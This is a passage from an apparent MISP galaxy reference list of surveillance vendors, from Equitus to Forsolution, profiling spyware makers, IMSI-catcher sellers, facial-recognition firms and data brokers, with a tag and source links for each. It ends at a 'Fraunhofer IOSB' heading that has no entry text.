https://techcrunch.com/2025/01/13/how-barcelona-became-an-unlikely-hub-for-spyware-startups/
https://www.intelligenceonline.com/surveillance—interception/2024/12/05/orbital-sidekick-poaches-from-nga-again-jeremy-fetiveau-heads-epsilon-norway-takes-on-drones,110347929-art

Equitus

Equitus provides a product called the Equitus Video Sentinel (EVS), which transforms raw video streams into actionable intelligence using AI-driven analytics. EVS offers real-time object detection,

classification, and alert management. Equitus' technology is built on a Knowledge Graph Neural Network (KGNN), which unifies and analyzes large and complex datasets.

EVS is is explicitly marketed for border surveillance, capable of detecting and analyzing human and vehicle movements, including identifying individuals carrying items such as backpacks. The U.S. Customs and Border Protection (CBP) has been upgrading surveillance towers in Arizona by incorporating advanced machine learning technology to automate the detection of border crossings. Equitus' Video Sentinel is part of this effort, working alongside IBM's Maximo Visual Inspection software. The project processes up to 100 simultaneous video streams, with data being hosted on Google's cloud platform, MAGE (ModulAr Google Cloud Platform Environment), which serves as the central repository for video analysis.

The tag is: *misp-galaxy:surveillance-vendor="Equitus"*

Table 17698. Table References

Links
https://theintercept.com/2025/04/03/google-cbp-ai-border-surveillance-ibm-equitus/
https://www.androidheadlines.com/2025/04/googles-ai-will-help-trump-monitor-the-us-mexico-border.html
https://caliber.az/en/post/google-s-role-in-us-border-surveillance-raises-privacy-concerns
https://www.prnewswire.com/news-releases/equitus-corporation-launches-equitus-international-inc-and-appoints-james-wilton-as-president-301684136.html
https://www.youtube.com/watch?v=MkpSIcMhXUc
https://equitus.ai/video/
https://equitus.ai/2022/06/equitus-joins-booming-tech-industry-in-the-middle-east/

Equus Technologies

Equus Technologies is an Israeli company behind an advanced spyware, known as "Lipizzan," designed to steal users' data. The company offers custom solutions for law enforcement, intelligence agencies, and national security organizations. According to Google researchers, Lipizzan is a multi-stage spyware capable of monitoring and extracting a user's emails, SMS messages, location data, voice calls, and media files. Google identified 20 Lipizzan apps, which were distributed in a highly targeted manner to fewer than 100 devices. In response, Google has blocked both the developers and the apps from the Android ecosystem. Besides malware, the source reported that Equus Technologies also offers app and cloud interception technology packaged as portable devices. These devices, which can be carried in backpacks, are designed to connect to nearby cellphones and steal passwords along with other sensitive personal data. At least one employee of Equus Technologies is a former staff member of NSO Group, the notorious Israeli malware vendor.

After their exposure in numerous reports in 2017, the company rebranded its name to Merlinx.

The tag is: *misp-galaxy:surveillance-vendor="Equus Technologies"*

Table 17699. Table References

Links
https://www.vice.com/en/2017/07/27/google-revealed-an-israeli-spyware-company-that-has-quietly-sold-its-wares-for-years/
https://www.forbes.com/sites/thomasbrewster/2017/07/26/google-kills-pro-android-surveillance-malware/#d4251b42e3df
https://android-developers.googleblog.com/2017/07/from-chrysaor-to-lipizzan-blocking-new.html?m=1
https://www.wired.com/story/lipizzan-android-malware-nation-state/
https://thehackernews.com/2017/07/lipizzan-android-spyware.html
https://finder.startupnationcentral.org/company_page/equus-technologies

Ercom

The administration of Egyptian president Abdel Fattah el-Sisi bought surveillance technologies from the French cybersecurity company Ercom in 2014.

The tag is: *misp-galaxy:surveillance-vendor="Ercom"*

Table 17700. Table References

Links
https://www.telerama.fr/monde/on-a-encore-trouve-une-societe-francaise-qui-vend-du-materiel-de-surveillance-electronique-a-legypte,n5533721.php
https://www.fidh.org/en/issues/litigation/egypt-a-repression-made-in-france
https://www.thalesgroup.com/en/market-specific/critical-information-systems-and-cybersecurity/news/thales-acquires-ercom-and

Espy

Espy is an Israeli-founded company registered in Singapore that provides systems capable of geographical zone surveillance, mass countrywide profiling, and discreet online influence campaigns. Its tools can analyze personal data from targeted networks to create profiles of individuals and simulate interactions online using AI.

The tag is: *misp-galaxy:surveillance-vendor="Espy"*

Table 17701. Table References

Links
https://www.intelligenceonline.com/surveillance—interception/2021/07/14/founders-of-osint-specialist-bler-systems-embark-on-new-adventures-with-forenza-and-espy,109679661-art
https://espy.is/osint-use-cases/law-enforcement/
https://espy.is/osint-mass-profiler/

https://espysys.com/blog/ai-crime-investigation/

eSurv

eSurv was an Italian company that sold spyware to law enforcement. Initially a developer of video surveillance software for homes and offices, the company later transitioned to creating spyware for mobile phones. eSurv's spyware, named "Exodus," was distributed through phishing sites that mimicked mobile carriers in Italy and Turkmenistan. The iOS version exploited Apple's Developer Enterprise Program to bypass the App Store's review process. The spyware had capabilities to access contacts, photos, GPS location, audio recordings, and more.

Connexa, a telecommunications company in Italy, partnered with eSurv to provide the infrastructure for Exodus. Connexa's servers were used to host the spyware's command-and-control infrastructure, enabling the collection of sensitive data from infected devices.

eSurv declared bankruptcy in 2021.

The tag is: *misp-galaxy:surveillance-vendor="eSurv"*

Table 17702. Table References

Links
https://www.vice.com/en/article/hackers-hid-android-malware-in-google-play-store-exodus-esurv/
https://irpimedia.irpi.eu/en-italian-spyware-on-the-international-market/
https://www.bitdefender.com/en-us/blog/hotforsecurity/italian-android-spyware-infected-google-play-store-for-years-researchers-find
https://www.vice.com/en/article/government-spyware-firm-that-put-rogue-apps-on-play-store-goes-bankrupt/
https://www.darkreading.com/cyberattacks-data-breaches/-exodus-ios-surveillance-software-masqueraded-as-legit-apps
https://www.lookout.com/threat-intelligence/article/esurv-research
https://arstechnica.com/information-technology/2019/04/well-funded-surveillance-operation-infected-both-ios-and-android-devices/

ETI

ETI is a company that produces high-tech surveillance equipment. It developed a system called Evident, which enabled governments to conduct mass surveillance of their citizens' communications. In 2011, BAE bought ETI and the company became part of BAE Systems Applied Intelligence. Freedom of information requests submitted by the BBC and the Dagbladet Information newspaper in Denmark revealed exports to Saudi Arabia, the UAE, Qatar, Oman, Morocco and Algeria, amongst others countries.

The tag is: *misp-galaxy:surveillance-vendor="ETI"*

Table 17703. Table References

Links
https://www.bbc.com/news/world-middle-east-40276568

European SAO

European SAO is a Malta-based company contracted by Frontex, the European Border and Coast Guard Agency, for aerial surveillance. It is a sister company of DEA Aviation (UK), which has worked extensively with Frontex by providing airborne surveillance equipments. This relationship enables European SAO to bypass Brexit-related restrictions that prevent UK-based companies from participating in certain EU contracts.

The tag is: *misp-galaxy:surveillance-vendor="European SAO"*

Table 17704. Table References

Links
https://abolishfrontex.org/blog/2023/10/02/new-frontex-contracts-for-aerial-surveillance-flights/
https://www.intelligenceonline.com/surveillance—interception/2024/10/17/parrot-in-ukraine-polish-anti-drone-ponchos-frontex,110328358-art
https://esao.aero/specialised-operations/

Everfox

Everfox, formerly the public sector division of Forcepoint, provides tools for monitoring employee activity and analyzing behavior. Its Insider Risk Solutions platform collects data from various channels, including web activity, file operations, emails, and keystrokes, to provide organizations with a comprehensive view of employee behavior. This data is used to calculate "risk scores" for employees, flagging behaviors such as data exfiltration, financial distress, or signs of dissatisfaction or whistleblowing.

Everfox’s technology utilizes AI-driven behavioral analytics to detect what they call "anomalous" activities, such as accessing restricted files or exhibiting "negative sentiment" in communications. Its clients include the U.S. Department of Defense.

The tag is: *misp-galaxy:surveillance-vendor="Everfox"*

Table 17705. Table References

Links
https://sherwood.news/tech/corporate-surveillance-technology-is-out-of-control/
https://www.theregister.com/2024/08/27/microsoft_workplace_surveillance/
https://www.wired.com/story/surveillance-privacy-doge-federal-employees/
https://executivebiz.com/2024/03/everfox-enters-into-strategic-partnership-with-microsoft/
https://www.washingtontechnology.com/companies/2024/06/private-equity-backed-everfox-makes-its-first-deal/397315/

https://assets.everfox.com/app/uploads/2024/01/29091641/Datasheet_Insider-Risk-Solutions.pdf

Evron Systems Ltd

Evron Systems Ltd is an Israeli company that provides advanced communication systems, security systems, control, and multimedia solutions. It has been involved in developing surveillance technologies, including facial recognition software called Aureus 3D-AI, which can analyze still and video footage using 3D technology and sophisticated algorithms. This software can perform extensive facial comparisons at high speeds. Evron is the Israeli representative and distributor for On Net surveillance System Inc. (OnSSI). Among its clients are the Israeli military. The company is privately owned by Meron Abraham and Sidis Aharon.

The tag is: *misp-galaxy:surveillance-vendor="Evron Systems Ltd"*

Table 17706. Table References

Links
https://www.whoprofits.org/companies/company/6109

EXFO

EXFO is a company that sells surveillance technology, including IMSI catcher software and related hardware, to government agencies. Their product, NetHawk, is capable of monitoring traditional mobile networks as well as LTE, can track phones' locations and intercept texts and calls, and is small enough to fit inside a backpack or shoulder bag. EXFO has exported its products to countries such as Bosnia, Oman, Indonesia, Mexico, Serbia, Morocco, Colombia, the United Arab Emirates (UAE), Kuwait, and Macedonia.

The company is headquartered in Quebec, Canada and has other corporate offices in Montreal and Oulu, Finland. It also has offices in the U.S, Mexico, United Kingdom, France, Germany, Singapore, China and India.

EXFO is a public company which received funding from the government of Canada.

The tag is: *misp-galaxy:surveillance-vendor="EXFO"*

Table 17707. Table References

Links
https://www.vice.com/en/article/imsi-catcher-exports/
https://embed.documentcloud.org/documents/4419863-EXFO-Brochure/
https://www.youtube.com/watch?v=IyWR4NKzG_Y
https://www.intelligenceonline.com/surveillance—interception/2021/11/22/canada-s-exfo-adapts-german-police-s-imsi-catcher-to-5g,109706305-art

Exterro

Exterro's FTK (Forensic Toolkit) is a digital forensics software suite used by law enforcement, corporations, and government agencies to collect, process, and analyze electronic data. It supports deep forensic analysis of computers, mobile devices, email archives, and cloud data. It can quickly search and filter large volumes of data.

In December 2020, Exterro acquired AccessData, another digital forensics company that develops FTK products.

The tag is: *misp-galaxy:surveillance-vendor="Exterro"*

Table 17708. Table References

Links
https://www.exterro.com/digital-forensics-software/forensic-toolkit/
https://www.apnnews.com/exterro-introduces-free-online-forensic-imaging-training-for-law-enforcement-officers-in-india/
https://www.globenewswire.com/news-release/2021/05/17/2230792/0/en/Exterro-Collaborates-with-Microsoft-on-Forensics-Platform-to-Help-Law-Enforcement-Bring-Criminals-to-Justice-Faster.html
https://www.exterro.com/resources/blog/west-midlands-police-deploy-exterro-ftk-central
https://mh-service.ae/products/exterro/
https://www.exterro.com/resources/blog/exterro-acquires-digital-forensics-firm-accessdata

Eyecool Technology

Eyecool Technology, formerly known as Techshino, is a Chinese biometrics company that develops facial and iris recognition systems and has deep ties to China's public security and military sectors. The company, a supplier to the Ministry of Public Security and the People's Liberation Army (PLA), has expanded its technology's applications to smart city projects, including the Xiong'an initiative championed by President Xi Jinping. Eyecool also collaborates closely with China's Ministry of State Security.

The company reportedly adds 2 million facial images daily to Skynet, China's mass video surveillance network.

Eyecool Technology maintains a global presence with subsidiaries in the Netherlands, United States, and India, while also exploring opportunities in Malaysia.

The tag is: *misp-galaxy:surveillance-vendor="Eyecool Technology"*

Table 17709. Table References

Links
https://www.vanityfair.com/news/2018/07/china-surveillance-state-artificial-intelligence
https://www.fairplanet.org/op-ed/sinicization-technology-uyghur-surveillance-china/

https://www.nytimes.com/2018/07/08/business/china-surveillance-technology.html
https://www.eyecooltech.com/cases/
https://www.eyecooltech.com/uploads/file/eyecool-technology-product-brochure.pdf
https://www.intelligenceonline.com/international-dealmaking/2021/05/27/pla-biometrics-supplier-eyecool-technology-gets-into-smart-city-big-data,109669103-art

FaceFirst

FaceFirst, also known as Airborne Biometrics, is a developer of facial recognition and surveillance technologies, providing automated face-matching systems for use in retail, airports, stadiums, military bases and at border checkpoints.

Its facial recognition technology has increasingly been deployed in retail stores without customer knowledge or consent. The system scans shoppers' faces as they enter stores, comparing them to databases of "dishonest customers" or "known shoplifters." The system also delivers customizable alerts and notifications to any device or workstation upon detecting a person of interest. The company claims to offer military-grade facial identification that seamlessly connects to a large central database tailored to the specific needs of the end user.

In 2022, FaceFirst welcomed Edwin Coello, a former leader of the NYPD Real Time Crime Center, to its team.

The tag is: *misp-galaxy:surveillance-vendor="FaceFirst"*

Table 17710. Table References

Links
https://www.facefirst.com/post/facefirst-s-guardian-airport-security-face-recognition-platform-helps-safeguard-borders
https://www.buzzfeednews.com/article/leticiamiranda/retail-companies-are-testing-out-facial-recognition-at
https://www.biometricupdate.com/201808/facefirst-facial-recognition-coming-to-thousands-of-u-s-retail-locations
https://www.laserfocusworld.com/software-accessories/software/article/16549441/facefirst-partners-with-samsung-on-rapid-facial-recognition
https://idtechwire.com/upgraded-facefirst-biometric-security-system-is-more-accurate-in-extreme-conditions/
https://www.eff.org/deeplinks/2015/11/how-california-cops-use-mobile-biometric-tech-field

Faception

Faception is an Israeli company developing facial recognition technology that claims to analyze personality traits, behaviors, and intentions based on facial features. The company markets its solutions for use in law enforcement and intelligence operations, including applications like identifying targets or screening individuals in public spaces.

The tag is: *misp-galaxy:surveillance-vendor="Faception"*

Table 17711. Table References

Links
https://www.newscientist.com/article/2090656-controversial-software-claims-to-tell-personality-from-your-face/
https://www.timesofisrael.com/new-israeli-facial-imaging-claims-to-identify-terrorists-and-pedophiles/
https://www.972mag.com/do-i-look-like-a-terrorist-the-dangers-of-facial-profiling/
https://www.bbc.com/news/business-38879530
https://theintercept.com/2018/12/06/artificial-intellgience-experts-issue-urgent-warning-against-facial-scanning-with-a-dangerous-history/
https://www.faception.com/our-technology

Facewatch

Facewatch is a UK-based company that provides facial recognition technology for the retail industry. Their system alerts businesses in real-time when a "known offender" is detected. Images captured by CCTV are transmitted to Facewatch's cloud server, where they are converted into biometric measurements for comparison against a database of subjects of interest.

Facewatch has faced multiple lawsuits over data protection breaches and grave instances of false identification. In addition to the UK, it is used by police and retailers in Brazil and Spain.

The tag is: *misp-galaxy:surveillance-vendor="Facewatch"*

Table 17712. Table References

Links
https://www.cnn.com/2023/07/15/business/facewatch-ai-facial-recognition-tech
https://www.biometricupdate.com/202405/facewatch-met-police-face-lawsuits-after-facial-recognition-misidentification
https://www.codastory.com/authoritarian-tech/uk-supermarket-biometric-cameras/
https://bigbrotherwatch.org.uk/press-releases/my-mum-is-scared-to-go-shopping-alone-after-facial-recognition-wrongly-branded-her-a-shoplifter/
https://www.wired.com/story/uk-stores-facial-recognition-track-shoppers/
https://www.facewatch.co.uk/2020/01/06/facewatch-launches-in-spain-with-the-appointment-of-retail-technology-business-leader-sbt/

FaiceTech

FaiceTech is a UK-based developer of facial recognition technology. It has been implicated in helping Hikvision, a Chinese security camera giant, circumvent international sanctions over its

involvement in surveillance and human rights abuses in Xinjiang. Hikvision advertised ethnicity recognition features in marketing brochures, claiming collaboration with FaiceTech. Following an investigation, Hikvision removed promotional materials referencing FaiceTech.

The tag is: *misp-galaxy:surveillance-vendor="FaiceTech"*

Table 17713. Table References

Links
https://www.theguardian.com/world/2022/dec/04/chinese-security-firm-advertises-ethnicity-recognition-technology-while-facing-uk-ban
https://www.techmonitor.ai/technology/emerging-technology/hikvision-cameras-cctv-ethnicity-recognition
https://bigbrotherwatch.org.uk/press-coverage/the-guardian-chinese-state-owned-surveillance-company-launches-ethnicity-recognition-tech-while-facing-uk-ban/
https://www.biometricupdate.com/202503/supermarket-chain-asda-chooses-faicetech-for-facial-recognition-surveillance

Falcon

The Falcon system, developed by Semptian, is primarily designed for tracking the location of targeted cellphones rather than intercepting calls or texts. Similar to the Stingray devices used by U.S. law enforcement, Falcon operates within a nearly 1-mile radius and can pinpoint the location of cellphones with high precision, up to 5 meters accuracy. When activated, Falcon emits signals that compel nearby mobile phones and other cellular devices to connect to it, revealing their exact locations. Falcon includes a smaller, pocket-sized device that can be used by agents on foot to track cellphone locations even more precisely, narrowing down to within 1 meter. This technology enables authorities to conduct targeted surveillance and locate specific individuals within urban or densely populated areas.

The tag is: *misp-galaxy:surveillance-vendor="Falcon"*

Table 17714. Table References

Links
https://apjjf.org/2019/15/gallagher
https://www.fairplanet.org/editors-pick/u-s-tech-giants-collaborate-with-chinese-surveillance-company/

FalcoNet

FalcoNet is a surveillance technology developed by the Israeli firm Cognyte, designed as a cell tower simulator capable of intercepting and collecting data from mobile phones. It functions as an airborne system, deployable on manned aircraft like helicopters or fixed-wing planes, and is used to gather unique identifiers from phones, intercept unencrypted communications, and jam normal signals to force devices to connect to its artificial station. The State of Florida purchased this

technology for $793,000 as part of Operation Vigilant Sentry, aimed at surveilling migrants, particularly from Haiti.

The tag is: *misp-galaxy:surveillance-vendor="FalcoNet"*

Table 17715. Table References

Links
https://jackpoulson.substack.com/p/florida-geared-up-to-surveil-haitian
https://facts.fldfs.com/Search/PurchaseOrderDetails.aspx?AgencyId=310000&PONo=C2EC2D

FiberHome

FiberHome, officially known as Nanjing FiberHome StarrySky Communication Development Company Ltd., develops spyware for use by the Chinese authorities. Its Fengcai app is forcibly installed on tourists' smartphones at border crossings in the East Turkistan (renamed Xinjiang by China) region. This spyware collects extensive personal data, including text messages, contacts, call logs, calendar entries, and installed apps, and transmits it to remote servers for analysis. The app also scans for content flagged as suspicious, such as religious materials, writings in Arabic, or documents related to the Dalai Lama, among other flagged items.

The tag is: *misp-galaxy:surveillance-vendor="FiberHome"*

Table 17716. Table References

Links
https://www.nytimes.com/2019/07/02/technology/china-xinjiang-app.html
https://thehackernews.com/2019/07/xinjiang-fengcai-spyware.html
https://www.technologyreview.com/2019/07/02/134307/chinese-border-guards-are-putting-a-surveillance-app-on-tourists-phones/
https://www.pcmag.com/news/china-is-installing-spyware-on-tourists-phones
https://diplomatist.com/2020/07/03/i-spy-with-my-little-eye-the-surveillance-strategy-of-china-apps/

Fifth Dimension

Founded in 2014 by former Mossad member Doron Cohen, Fifth Dimension became a leading producer of surveillance technology with the backing of notable figures such as former IDF Chief of Staff Benny Gantz, who served as the company’s chairman, and former Mossad deputy head Ram Ben-Barak. The company’s systems are employed to analyze vast amounts of data, including social media activity, to identify potential security threats and prevent incidents before they occur. The company specializes in predictive policing tools and advanced data analysis, including sophisticated data processing techniques to identify patterns and correlations based on mass surveillance data.

Fifth Dimension collaborated with the Israel Police on a project involving artificial intelligence for law enforcement purposes. This partnership, which did not go through a tender process, involved a

pilot program costing about 4 million shekels ($1.1 million) and concluded in 2017. The initiative was described as a "game changer" by Police Chief Roni Alsheikh. However, Fifth Dimension ceased operations due to U.S. sanctions on one of its investors, Viktor Vekselberg, which affected its primary market in the U.S.

The company ceased operations in December 2018, after an unsuccessful acquisition bid from NSO Group. At its height, Fifth Dimension had secured $40 million in funding and employed 100 people.

The tag is: *misp-galaxy:surveillance-vendor="Fifth Dimension"*

Table 17717. Table References

Links
https://www.haaretz.com/israel-news/2018-10-20/ty-article-magazine/.premium/israels-cyber-spy-industry-aids-dictators-hunt-dissidents-and-gays/0000017f-e9a9-dc91-a17f-fdadde240000
https://www.jns.org/prosecutors-wont-investigate-gantz-in-fifth-dimension-case/
https://www.reuters.com/article/technology/israeli-cyber-firm-nso-in-talks-to-buy-fifth-dimension-reports-idUSKCN1NH0X6/
https://www.calcalistech.com/ctech/articles/0,7340,L-3752111,00.html
https://www.haaretz.com/israel-news/2019-02-15/ty-article/.premium/israeli-police-invested-1m-in-ai-company-once-headed-by-gantz/0000017f-e144-d568-ad7f-f36fce320000

FinFisher

FinFisher, also known as FinSpy, is surveillance software developed by Gamma Group, an Anglo-German technology company specializing in surveillance and monitoring solutions. FinFisher has been used by various governments and law enforcement agencies around the world for surveillance purposes. The software is designed to monitor and intercept communications, gather intelligence, and track individuals' activities. FinFisher is known for its comprehensive surveillance capabilities, which include: remote access, data extraction of information such as emails, SMS, files, and browser history, real-time monitoring of communications and online activities, keylogging to capture passwords and other sensitive information, microphone and camera activiation to record audio and video, as well as geolocation tracking. Gamma Group dissolved its FinFisher unit in 2014, but several German companies have since sold the spyware.

The tag is: *misp-galaxy:surveillance-vendor="FinFisher"*

Table 17718. Table References

Links
https://www.bloomberg.com/news/articles/2022-03-28/spyware-vendor-finfisher-claims-insolvency-amid-investigation
https://www.theverge.com/2015/1/21/7861645/finfisher-spyware-let-bahrain-government-hack-political-activist
https://www.eff.org/deeplinks/2012/07/elusive-finfisher-spyware-identified-and-analyzed
https://citizenlab.ca/2013/03/you-only-click-twice-finfishers-global-proliferation-2/

https://privacyinternational.org/press-release/1036/ugandan-government-deployed-finfisher-spyware-crush-opposition-track-elected
https://www.singapore-samizdat.com/p/a-timeline-of-singapore-and-spyware

First WAP

First WAP is a surveillance technology company headquartered in Jakarta, Indonesia. It was founded by former Siemens engineer Josef Fuchs in the early 2000s. The company's primary product, Altamides, is a phone-tracking software that exploits vulnerabilities in the global telecom network's SS7 protocol to pinpoint any person's location worldwide. Over time, First WAP has expanded Altamides' capabilities beyond location tracking to include intercepting SMS messages, listening to phone calls, and breaching encrypted messaging apps like WhatsApp.

First WAP's surveillance technology has been used across more than 160 countries, tracking over 14,000 unique phone numbers. The company marketed its products to authoritarian governments and made them accessible to corporate actors through a network of middlemen. Specific clients included governments in Morocco and Algeria during the Arab Spring, marketed through the British firm KCS Group. Victims of the surveillance ranged from high-profile political figures and journalists to ordinary citizens like teachers and therapists.

The tag is: *misp-galaxy:surveillance-vendor="First WAP"*

Table 17719. Table References

Links
https://www.lighthousereports.com/investigation/surveillance-secrets/
https://www.abc.net.au/listen/programs/latenightlive/gabriel-geiger-lighthouse-first-wap-/105939866
https://revealnews.org/podcast/cellphone-surveillance-firstwap-lighthouse-reports/
https://www.motherjones.com/politics/2025/10/firstwap-altamides-phone-tracking-surveillance-secrets-assad-erik-prince-jared-leto-anne-wojcicki/
https://www.haaretz.com/israel-news/security-aviation/2025-10-21/ty-article-magazine/.premium/everyones-a-target-what-the-vatican-israeli-arm-dealers-and-jared-leto-have-in-common/00000199-ed64-d7e9-adfd-ff675e1f0000
https://www.vindobona.org/article/austria-at-the-center-of-a-global-surveillance-scandal-involving-celebrities-politicians-and-red-bul

Fisca Security

Fisca Security & Communication is a Yangon-based company that provides telecommunications and security products, including CCTV systems, intercoms, and related infrastructure.

Since the 2021 military coup in Myanmar, Fisca has been involved in the procurement and installation of surveillance technologies, including Chinese-made CCTV cameras with facial recognition capabilities. These systems have been deployed in multiple cities across the country as

part of "safe city" initiatives. The company is sourcing its surveillance technologies from China's Zhejiang Dahua Technology, Huawei, and Hikvision.

In 2023, the U.S. Department of Commerce added Fisca to its Entity List, citing the company's involvement in supplying surveillance equipment to Myanmar's military regime.

The tag is: *misp-galaxy:surveillance-vendor="Fisca Security"*

Table 17720. Table References

Links
https://www.asahi.com/ajw/articles/14666967
https://www.accessnow.org/myanmar-cctv-cameras/
https://idtechwire.com/myanmar-junta-pursuing-biometric-surveillance-507122/
https://www.biometricupdate.com/202207/myanmar-expands-facial-recognition-ready-surveillance-safe-cities
https://myanmar-now.org/en/news/beyond-the-headlines-us-hits-three-more-myanmar-entities-with-trade-sanctions/

Fivecast

Fivecast is a company that develops AI-powered software used by U.S. Customs and Border Protection (CBP) to analyze online content for potential threats. Utilizing artificial intelligence, Fivecast's software detects sentiment and emotion in social media posts and recognizes objects in images and videos. It also scans for "risk terms and phrases" across multiple languages, gathering data from both major social platforms like Facebook and Reddit, as well as smaller communities like 4chan and Gab.

CBP has spent millions on Fivecast's technology, which they use to monitor individuals they believe may pose risks to public safety, national security, or lawful trade and travel. Fivecast's tools are capable of mapping out networks of connections and tracking persons-of-interest starting with minimal information, as demonstrated in their promotional materials.

Fivecast is headquartered in Adelaide, Australia. The company was co-founded in 2017 by Brenton Cooper, Duane Rivett, Ross Buglak, and David Blockow. Fivecast has a strong connection to the Five Eyes intelligence alliance, which includes agencies from the United States, United Kingdom, Canada, Australia, and New Zealand. The company's tools have been developed in consultation with law enforcement and intelligence agencies from these Five Eyes nations, optimizing their software to meet the specific requirements of these agencies for monitoring and analyzing online threats.

The tag is: *misp-galaxy:surveillance-vendor="Fivecast"*

Table 17721. Table References

Links
https://www.404media.co/ai-surveillance-tool-dhs-cbp-sentiment-emotion-fivecast/

https://aibusiness.com/verticals/australia-s-fivecast-signs-5m-ai-contract-with-us-defense-counterintelligence-security-agency
https://www.prnewswire.com/news-releases/fivecast-completes-us-20m-au30m-series-a-raise-with-new-us-and-existing-australian-vc-investors-301793523.html
https://www.wired.com/story/military-ais-next-frontier-your-work-computer/
https://www.404media.co/the-ai-tools-cbp-is-using-to-scan-social-media/

Flock Safety

Flock Safety is a technology company that specializes in providing advanced surveillance solutions. Their products include Flock Camera, which are high-definition cameras placed to capture clear images of vehicles entering and exiting neighborhoods and which utilize automated license plate recognition (ALPR) technology to identify and log vehicle data, as well as AI-powered audio detection systems. They also feature FlockOS in their suite of products, which integrates first and third-party data from video, license plate recognition (LPR), and audio detection to provide real-time intelligence through advanced search, a customizable map and other options.

In 2024, Flock Safety acquired drone startup Aerodome for over $300 million. This acquisition allows Flock Safety to broaden its reach into autonomous police drone surveillance.

In 2025, it was revealed that the company was considering using hacked or breached data to create Nova, a surveillance tool intended for law enforcement use. That same year, a report by 404 Media revealed that a Texas police officer used Flock's nationwide license plate camera network to track a woman who had traveled out of state to obtain an abortion.

In October 2025, Amazon's Ring announced a partnership with Flock, enabling agencies that use Flock to request Ring users to share surveillance footage.

The tag is: *misp-galaxy:surveillance-vendor="Flock Safety"*

Table 17722. Table References

Links
https://techcrunch.com/2024/05/16/oh-great-i-feel-safer-already/
https://qz.com/flock-ai-license-plate-surveillance-startup-cameras-per-1851294024
https://www.acluok.org/en/news/threat-privacy-and-civil-liberties-automatic-license-plate-readers
https://www.forbes.com/sites/thomasbrewster/2024/06/19/fedex-police-help-cops-build-an-ai-car-surveillance-network/
https://techcrunch.com/2024/10/23/flock-safety-paid-over-300-million-for-17-month-old-drone-startup-aerodome/
https://www.bloomberg.com/news/articles/2025-03-05/andreessen-leads-funding-valuing-flock-safety-at-7-5-billion
https://cardinalnews.org/2025/03/28/i-drove-300-miles-in-rural-virginia-then-asked-police-to-send-me-their-public-surveillance-footage-of-my-car-heres-what-i-learned/

https://gizmodo.com/license-plate-reading-firm-reportedly-building-a-surveillance-tool-for-cops-using-hacked-data-2000602183
https://www.404media.co/a-texas-cop-searched-license-plate-cameras-nationwide-for-a-woman-who-got-an-abortion/
https://www.404media.co/license-plate-reader-company-flock-is-building-a-massive-people-lookup-tool-leak-shows/
https://techcrunch.com/2025/10/16/amazons-ring-to-partner-with-flock-a-network-of-ai-cameras-used-by-ice-feds-and-police/

Fly4Less

Fly4Less, a Hungary-based company, is a contractor for Frontex, the European Border and Coast Guard Agency, to provide aerial surveillance services. The company operates aircraft equipped with advanced monitoring systems for border control, targeting migrants.

The tag is: *misp-galaxy:surveillance-vendor="Fly4Less"*

Table 17723. Table References

Links
https://bankillerdrones.org/border-drones-eu-border-surveillance/
https://abolishfrontex.org/blog/2023/10/02/new-frontex-contracts-for-aerial-surveillance-flights/
https://centredelas.org/wp-content/uploads/2022/06/WP_DronesFrontex_ENG.pdf

Fog Data Science

Fog Data Science, a data broker, sells location data about individuals to law enforcement agencies, obtained from thousands of apps on Android and iOS app stores. The company's web application, Fog Reveal, provides detailed histories of people's lives, selling access for less than $10,000 per year. In the U.S alone, Fog has past or ongoing contractual relationships with at least 18 local, state, and federal law enforcement clients. Fog's service allows for "pattern of life" analyses, revealing an individual's daily routines and habits. The service can execute broad searches, such as gathering device IDs for everyone in a specific area.

The company also uses a "Project Intake Form" that requests detailed information about persons of interest, including their medical provider locations, and harvests location data from smartphones through apps and advertising systems. Critics, including former law enforcement officials, have expressed alarm over the tool's ability to track individuals in private spaces, such as homes, without judicial oversight.

The company was founded in 2016 by two former Department of Homeland Security officials, Robert Liscouski and Matthew Broderick, who served under President George W. Bush.

The tag is: *misp-galaxy:surveillance-vendor="Fog Data Science"*

Table 17724. Table References

Links
https://www.eff.org/deeplinks/2022/08/inside-fog-data-science-secretive-company-selling-mass-surveillance-local-police
https://www.eff.org/deeplinks/2022/06/what-fog-data-science-why-surveillance-company-so-dangerous
https://www.eff.org/deeplinks/2022/09/members-congress-urge-ftc-investigate-fog-data-science
https://www.eff.org/press/releases/data-broker-helps-police-see-everywhere-youve-been-click-mouse-eff-investigation
https://www.404media.co/location-data-firm-offers-to-help-cops-track-targets-via-doctor-visits/
https://www.pbs.org/newshour/politics/how-an-obscure-cellphone-tracking-tool-provides-police-mass-surveillance-on-a-budget
https://arstechnica.com/tech-policy/2022/09/cops-wanted-to-keep-mass-surveillance-app-secret-privacy-advocates-refused/

Forenza

Forenza is the developer of a platform designed to assist police forces to access, organize and analyze social media data from sites and apps like Instagram, YouTube and TikTok. One of the platform's features is the ability to categorize and analyze public videos for specific traits, such as license plates, road signs, or tattoos to support law enforcement to identify people, vehicles, documents or locations.

The platform is currently used by police forces in Israel, with plans to expand to the U.S.

Forenza was co-founded by Efim Lerner and Uri Boros, who were also the founders of Bler Systems, a subsidiary of the Avnon Group, and which also develops a range of surveillance tools.

The tag is: *misp-galaxy:surveillance-vendor="Forenza"*

Table 17725. Table References

Links
https://www.calcalistech.com/ctech/articles/0,7340,L-3908083,00.html
https://news.softpedia.com/news/forenza-s-digital-forensics-tool-can-assist-cops-in-catching-tiktok-criminals-532987.shtml
https://www.intelligenceonline.com/surveillance—interception/2021/07/14/founders-of-osint-specialist-bler-systems-embark-on-new-adventures-with-forenza-and-espy,109679661-art

Forsolution

Forsolution, a Czech-based company, is a developer of surveillance and monitoring equipment. Its primary product, the DELTA wireless digital audio monitoring system, is used for monitoring individuals under house arrest. The company's tools are specifically designed for covert operations and are used by police, intelligence agencies, special forces, and other government-approved

organizations. Their products are also often showcased at international exhibitions and arms fairs targeting global markets.

The tag is: *misp-galaxy:surveillance-vendor="Forsolution"*

Table 17726. Table References

Links
https://www.atlanticcouncil.org/uncategorized/surveillance-technology-at-the-fair/
https://www.novinky.cz/clanek/domaci-elektronicke-naramky-pro-domaci-vezne-doda-forsolution-cz-40434464
https://www.ceska-justice.cz/2024/06/dalsi-pokus-zacina-fungovat-novy-elektronicky-monitoring-domacich-veznu/
https://www.ceskenoviny.cz/zpravy/2377556

Fraunhofer IOSB

